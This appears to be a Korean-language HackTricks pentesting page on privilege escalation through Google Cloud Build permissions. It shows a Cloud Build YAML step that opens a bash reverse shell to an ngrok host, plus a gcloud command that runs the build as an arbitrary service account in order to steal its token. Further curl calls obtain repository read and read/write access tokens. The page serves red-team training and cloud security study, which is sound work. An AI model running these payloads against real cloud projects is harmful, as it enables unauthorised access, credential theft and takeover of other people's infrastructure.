GCP - Cloudbuild Privesc

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

cloudbuild

Cloud Build에 대한 자세한 내용은 다음을 확인하세요:

GCP - Cloud Build Enum

cloudbuild.builds.create, iam.serviceAccounts.actAs

이 권한으로 당신은 submit a cloud build 할 수 있습니다. cloudbuild 머신의 파일시스템에는 기본적으로 cloudbuild Service Account의 token이 포함되어 있습니다: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. 하지만 cloudbuild 구성에서 프로젝트 내의 어떤 Service Account든 지정할 수 있습니다.
따라서, 머신이 token을 당신의 서버로 exfiltrate하도록 만들거나 그 안에서 reverse shell을 얻어 token을 확보할 수 있습니다 (토큰을 담고 있는 파일은 변경될 수 있습니다).

Direct exploitation via gcloud CLI

1- cloudbuild.yaml 파일을 생성하고 리스너 데이터로 수정하세요

reverse shell을 위한 Cloud Build YAML 구성 ```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```

2- 소스 없이 간단한 build를 업로드하고, yaml 파일을 추가한 뒤 빌드에 사용할 SA를 지정합니다:

지정된 서비스 계정으로 Cloud Build 제출 ```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com ```

python gcloud library 사용

You can find the original exploit script here on GitHub (but the location it’s taking the token from didn’t work for me). Therefore, check a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to get a reverse shell inside the cloudbuild machine and steal it here (in the code you can find how to specify other service accounts).

자세한 설명은 https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/을(를) 참조하세요.

cloudbuild.repositories.accessReadToken

이 권한이 있으면 사용자는 저장소에 접근하는 데 사용되는 읽기 액세스 토큰을 얻을 수 있습니다:

저장소에 대한 읽기 액세스 토큰 가져오기 ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadToken" ```

cloudbuild.repositories.accessReadWriteToken

이 권한으로 사용자는 저장소에 접근하는 데 사용되는 읽기 및 쓰기 액세스 토큰을 얻을 수 있습니다:

저장소의 읽기 및 쓰기 액세스 토큰 가져오기 ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadWriteToken" ```

cloudbuild.connections.fetchLinkableRepositories

이 권한으로 연결이 액세스할 수 있는 리포지토리를 가져올 수 있습니다:

링크할 수 있는 리포지토리 가져오기 ```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections/:fetchLinkableRepositories" ```

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기